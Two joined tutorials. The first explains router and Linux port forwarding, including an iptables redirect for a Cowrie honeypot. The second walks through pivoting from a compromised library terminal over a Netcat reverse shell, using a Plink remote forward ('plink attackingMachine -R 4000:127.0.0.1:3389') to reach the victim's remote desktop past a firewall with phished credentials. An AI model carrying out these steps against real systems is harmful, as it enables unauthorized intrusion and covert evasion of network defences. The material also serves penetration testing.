On Microsoft Windows, one can identify the location of the connected router or \”Default Gateway\” by opening a Command Prompt window and running the command below.
Command :-
ipconfig/all
​On Linux and macOS, the same can be accomplished using netstat. 
Open a new terminal window and run the following command to see the IP of the router you\’re connected to.
Command :- 
netstat -rn
Step 2 

 Accessing the Router 
 Configuration Panel
Once you\’ve identified the local IP address of your router, you can access the configuration panel by opening the address in your web browser, just as you would any other URL. 
(Note: some routers, such as Amplifi, actually have mobile apps that make this easier.)
​Once the router management page is open, log in to the router. 
The username and password may have been set by yourself (if you know what\’s good for you), an internet service provider, or be the router manufacturer\’s default credentials. 
This information can generally found online in the router\’s documentation, and sometimes even physically on the side of the router.
While all routers will have slightly different interfaces, once logged in, look for an \”Advanced\” area, or something which includes \”Port Forwarding.\” 
In the case below, the relevant area was titled \”Advanced Port Forwarding Rules.\”
 Step 3 

 Defining Port Forwarding Rules 
To demonstrate usage of port forwarding rules, we\’ll use a sample use case. 
In this scenario, a user has a Raspberry Pi connected to their home network router. 
The Pi has an SSH service running, allowing a user to log in if they have the correct username and password. 
The current IP address of the Pi is 192.168.0.105.
The user names the rule \”RBPi SSH\” to make it easier to identify for future administration. 
The name of the rule does not matter beyond personal preference, as it does not affect how the port is used.
The Public Port (sometimes called Source Port) range is set to 22 through 22, or the standard SSH port 22. 
This is the port which the router will reveal to the internet as being open, and the port which a user will connect to if they wish to connect to the Pi.
The Private Port (sometimes Destination Port) is set to 22 as well, as the SSH daemon is running on port 22 on the Pi.
The Traffic Type is set to TCP, as SSH is TCP traffic.
The IP Address is set to that of the Pi on the local network, 192.168.0.105.
Finally, the checkbox at the left of the rule is checked in order to enable the new setting.
While your router\’s interface may work slightly different, the concept is the same
This rule, when saved, means that now a user can connect to SSH to the IP address of the router from anywhere on the internet and be forwarded to their Raspberry Pi server. 
This could also be used to create an HTTP web server on port 80 or perhaps facilitate a video game server on a specific port. 
Keep in mind that some ISPs have defined rules regarding hosting servers and other content, and be sure to check any applicable rules before choosing to host an internet-accessible server on a local network.
One vulnerability that arises when exposing ports to the internet through port forwarding is port scanning. 
Attackers on the internet use automated drones to scan sets of IP addresses or use tools like Shodan to find potentially vulnerable devices with certain ports active. 
SSH ports are a prime target, as they represent a shell environment where data could be stolen and malware could potentially be installed
​In the case of port forwarding, to protect against port scanning, it may be advantageous to change the public or source port in the router configuration. 
Rather than using a common port like 22 which is frequently scanned for, a more uncommon port such as 9022 can serve just as well to connect over SSH to the Raspberry Pi without leaving a low-numbered port available to be discovered through scanning.
With this port changed, the only difference in usage is that a client connecting to the devices over SSH from outside the network will need to specify port 9022 rather than assuming the default port, 22, is in use.
 Attempting to connect to port 22 will not work outside of the local network, as while the SSH daemon on the Pi is running on that port, it is being forwarded over port 9022, not port 22.
While router-based port forwarding is useful for internet-facing network configuration, port forwarding can also be established at the system level when using Linux.
 Stepp 4 

 System Level Port Forwarding on Linux 
 
Much in the same way that a router port can be linked to a specific port on a device within a network, one port can also be linked to another to facilitate easier use. 
For instance, when installing the Cowrie honeypot, the SSH daemon is moved from port 22 to port 9022, and then port 2222 where the honeypot is running is forwarded to port 22 where it will be scanned and attacked on the internet.
To begin configuring local port forwarding on Linux, one may first need to enable it within Linux itself. 
To do this, run the command below to set the value of ip_forward to 1 or true.
Command :- 
echo \”1\” > /proc/sys/net/ipv4/ip_forward

​Once IP forwarding is enabled, ensure that you know the current port of the service you intend to forward. 

During the configuration of the Cowrie honeypot, this is done by changing the SSH daemon configuration to move the service to port 9022.
​Finally, to enable local port forwarding, iptables can be used. 
The command below redirects requests on port 22 to port 2222, where they are handled by the honeypot.
Command :- 
iptables -t nat -A PREROUTING -p tcp –dport 22 -j REDIRECT –to-port 2222

 Other Uses for Port Forwarding 

Port forwarding can be applied to other implementations, such as forwarding port 8080 to port 80 to make a test server more easily accessible or to simply add additional ports to use for a certain service. 
Port forwarding is a very valuable technique for remote access, server administration, network configuration, and even for post-exploitation and pivoting. 
Understanding it can be the key to countless other security projects!
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How To Use Remote Port Forwarding to Slip Past Firewall Restrictions Unnoticed

How To Use Remote Port Forwarding to Slip Past Firewall Restrictions Unnoticed 
Local port forwarding is good when you want to use SSH to pivot into a non-routable network. 
But if you want to access services on a network when you can\’t configure port-forwarding on a router and don\’t have VPN access to the network, remote port forwarding is the way to go.
Remote port forwarding excels in situations where you want access to a service on an internal network and have gained control of a machine on that network via a reverse shell of some kind. 
Whether you\’re a pentester or system admin, this is a good thing to know about.
For example, let\’s say you compromise a public terminal in the local library and get some credentials. 
You install a persistent reverse shell of some sort, which communicates back to your machine, but you don\’t have access to other services on the machine. 
The victim machine might have an SQL instance configured on localhost only that you want access to, or maybe you want to access the remote desktop. 
Maybe the network is hosting some sort of admin panel you\’d like to poke around in. Whatever it is you want, a compromised host and SSH will get you in.
Remote port forwarding isn\’t only for malicious scenarios. 
You can use it to punch a temporary hole out of a network to use work services at home, though that may be frowned upon by your security team.
Another excellent usage is in phishing campaigns where a user has executed your payload, and you only have a reverse shell connection back. 
After a bit of information gathering, then privilege escalation, you gather the credentials for the administrative user and wish to use those on another service on the compromised machine.
In this article, we\’ll be using SSH to access the remote desktop on a host located behind a firewall in an internal network — all without modifying the port forwarding rules on the gateway!
The Situation 
The shell is a Netcat connection running cmd.exe. 
The user \”bob\” is not a privileged user. 
Through prior information gathering, I know that the user \”barrow\” is a privileged user, and I also know that this machine has a remote desktop connection available.
It would be excellent to log into this machine via a remote desktop as an administrative user, but it is non-routable to my machine. 
Our compromised machine is behind a router, with an internal IP address, and I don\’t have access to the internal network, except via the internal host.
I can use the reverse shell to interact with the compromised host, but if I attempt to connect to a remote desktop, the IP address will be invalid. 
If I use the public-facing IP address, I will be connecting to a router which will just drop my packets. 
Since I don\’t have an SSH server on this network that I can pivot with, I\’ll have to use Plink to forward the remote desktop service to my attacking machine.
Step 1 

 Install Plink 
Plink is a Windows command line SSH client. 
It is included with Kali Linux in the /usr/share/windows-binaries/ directory. 
It can also be downloaded from the developer (look for the plink.exe file).
Link :-
Step 2 

Configure Remote Port Forwarding 
Using my Netcat shell and plink.exe, I set up a remote port forward to my attacking machine from my victim machine by typing the following into the reverse shell I have established from my victim machine.
plink attackingMachine -R 4000:127.0.0.1:3389
The syntax is similar to SSH. Using the -R option tells Plink to connect to the attacking machine and bind a channel on port 4000 (I arbitrarily selected port 4000 — you can select any port). 
The next portion in between the colons defines what service will be served to port 4000 on the attacking machine. 
In this case, the victim machine\’s port 3389. Once this command is entered, I will log in with my credentials to my attacking machine. 
Now, my attacking machine has access to the remote desktop service on the victim machine on my localhost port 4000.
If you\’re paying attention, you may have noticed that I used the localhost address on the victim machine. 
This can be useful for port forwarding services that are generally constrained to localhost access only, such as mySQL.
Step 3 

Log into a Remote Desktop 
With this running on my Netcat shell, I connect to my victim machine\’s remote desktop service using the rdesktop command. 
The following command uses the remote desktop protocol to connect to localhost port 4000 where my victim machine is forwarding its local port 3389.
Command :- 
rdesktop localhost:4000
All that\’s left to do is use a known credential to log into Windows, either phished or gained via privilege escalation.
 From here, I have full administrative access to the system, despite the system\’s gateway dropping all inbound connection requests. 
I also retained my initial shell connection, which is always important to me. 
Shells can be a lot easier to lose than they are to get back.
SSH is an excellent tool for pivoting in networks, but it\’s not limited to penetration testing. 
Remote port forwarding can provide you access to services on a machine that would normally be inaccessible. 
This can be useful if you want to share your services with networks that normally would not be able to reach them. 
For example, if you need to temporarily connect to a service at work from your home but the firewall is dropping all inbound packets. 
In some cases, setting up a reverse SSH tunnel is easier than port forwarding a consumer-grade router.